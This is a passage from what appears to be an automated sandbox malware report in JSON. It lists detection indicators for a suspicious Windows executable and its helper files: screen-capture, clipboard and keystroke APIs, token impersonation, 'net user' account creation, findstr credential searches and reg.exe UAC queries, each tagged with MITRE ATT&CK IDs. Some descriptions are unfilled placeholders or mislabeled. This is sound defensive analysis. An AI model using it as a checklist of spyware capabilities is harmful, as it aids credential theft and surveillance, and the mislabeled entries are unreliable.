ability to perform remote desktop activity (API string)","description":"Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1021.001","relevance":1,"id":"string-436","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote session information (API string)","description":"Found reference to API \"WTSQueryUserToken\" (Indicator: \"WTSQueryUserToken\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-546","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE04C743C82BAFEB9431CE8A4A918C]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004460.00000000.93884.E7330000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE2BA65E6F3E2934B24DA47322A6CD]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004572.00000000.95398.D12C0000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004572.00000000.95398.D12C0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE1739C596F8B26CF9BEACC77A81E7]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004572.00000000.95398.D12C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve the valid logical drives on the computer","description":"Observed import api \"GetLogicalDriveStringsW\" which can be \"used to change the configuration parameters of a service\" [Source: 7z.exe]","origin":"Static Parser","mitre_attack_id":"T1083","relevance":5,"id":"static-192","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"1H12M2.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"3501085d\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"1H12M2.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"580109c4\"\n \"cx\": \"1\"\n \"cy\": \"1\"}\n \"1H12M2.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"301080e\"\n \"cx\": \"32\"\n \"cy\": \"32\"}\n \"1H12M2.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"301080e\"\n \"cx\": \"93\"\n \"cy\": \"302\"}\n \"1H12M2.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"301080e\"\n \"cx\": \"16\"\n \"cy\": \"16\"}\n \"1H12M2.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"36010779\"\n \"cx\": \"16\"\n \"cy\": \"16\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$62","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"$63","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"1H12M2.exe\" called \"GetComputerNameA\" (UID: 00000000-00001224)\n \"1H12M2.exe\" called \"GetComputerNameW\" (UID: 00000000-00001224)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00004460)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00007072)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00008744)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"2O4405.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"3Y00Z.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f00000f0000000000000004000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"1H12M2.exe\" called \"GetUserNameA\" (UID: 00000000-00001224)\n \"2O4405.exe\" called \"GetUserNameA\" (UID: 00000000-00001812)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00004460)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00007072)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00008744)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$64","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetClipboardFormatNameA\" (Indicator: \"GetClipboardFormatName\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"Found reference to API \"GetDesktopWindow\" (Indicator: \"GetDesktopWindow\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetDC\" (Indicator: \"GetDC\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"CreateCompatibleBitmap\" (Indicator: \"CreateCompatibleBitmap\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"BitBlt\" (Indicator: \"BitBlt\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: nircmd.exe)","origin":"Static Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00004460.00000000.93884.955CA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate logon sessions (API string)","description":"Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-117","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"file/memory contains long string with (Indicator: \"ForEach-Object\"; File: \"34.bat\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$65","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate running processes using Tasklist","description":"$66","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-517","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to find logical drives of the machine (API string)","description":"Found reference to API \"GetLogicalDriveStringsW\" (Indicator: \"GetLogicalDriveStrings\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-84","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"$67","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"LookupAccountNameA\" (Indicator: \"LookupAccountName\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004460.00000000.93884.955CA000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004460.00000000.93884.955CA000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"Error loading %shGetProcAddress() failed on function '%s'. Possible reason: incorrect version of advpack.dll being used./Windows 95 or Windows NT is required to install\" (Indicator: \"GetProcAddress\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetProcAddress()\" (Indicator: \"GetProcAddress\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004460.00000000.93884.955CA000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$68","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"AttachThreadInput\" (Indicator: \"AttachThreadInput\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004460.00000000.93884.955CA000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004460.00000000.93884.955CA000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00000860.00000000.92190.01241000.00000020.mdmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007396.00000000.92259.01381000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"$69","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to search for patterns of text (possibly credentials) in files","description":"file/memory contains long string with (Indicator: \"findstr \"; File: \"34.bat\")","origin":"File/Memory","mitre_attack_id":"T1552","relevance":1,"id":"string-334","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$6a","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"\"Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\" (Indicator: \"microsoft\\windows\\currentversion\\app paths\") in Source: abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\n \"Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\" (Indicator: \"microsoft\\windows\\currentversion\\app paths\") in Source: 00000000-00000860.00000000.92190.01241000.00000020.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\" (Indicator: \"microsoft\\windows\\currentversion\\app paths\") in Source: 00000000-00007396.00000000.92259.01381000.00000020.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: saved.exe]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"1H12M2.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")\n \"2O4405.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")\n \"3Y00Z.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\"; Key: \"DRIVERDESC\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Indicator: \" Win32_Process\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp, 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp, 00000000-00004572.00000000.95398.D14B0000.00000004.mdmp\")\n Found string \"SELECT Name FROM Win32_Service WHERE ProcessId = %d and State=\"Running\"\" (Indicator: \" Win32_Service\"; Source: \"00000000-00004572.00000000.95398.B1E22000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Uses REG.EXE to query registry keys","description":"Process \"reg.exe\" with commandline \"reg query \"HKU\\\\S-1-5-19\"\" (UID: 00000000-00008888)\n Process \"reg.exe\" with commandline \"reg query \"HKU\\\\S-1-5-19\"\" (UID: 00000000-00006792)\n Process \"reg.exe\" with commandline \"reg query \"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\" /v \"EnableLUA\"\" (UID: 00000000-00007696)","origin":"Monitored Target","mitre_attack_id":"T1012","relevance":3,"id":"target-144","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to uninstall applications (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Remove-AppxPackage\"; File: \"34.bat\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-200","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Able to change the configuration parameters of a service","description":"file/memory contains long string with (Indicator: \"changeserviceconfiga\"; File: \"nircmd.exe\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-10073","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Able to retrieve/open a process (API string)","description":"$6b","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-729","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"NSudoLG.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00009008)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004460)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00007072)\n \"tasklist.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004572)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00008744)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004104)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: F2a97.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: 7z.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: saved.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: NSudoLG.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: nircmd.exe]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$6c","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Contains ability to create local account","description":"file/memory contains long string with (Indicator: \"net user \"; File: \"saved.exe\")","origin":"File/Memory","mitre_attack_id":"T1136.001","relevance":1,"id":"string-528","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"CreateProcessAsUserW\" (Indicator: \"CreateProcessAsUser\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")\n Found reference to API \"WTSQueryUserToken\" (Indicator: \"WTSQueryUserToken\"; File: \"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files","description":"$6d","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-408","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"$6e","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"68120d9e551103e90f089285"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"Found reference to API 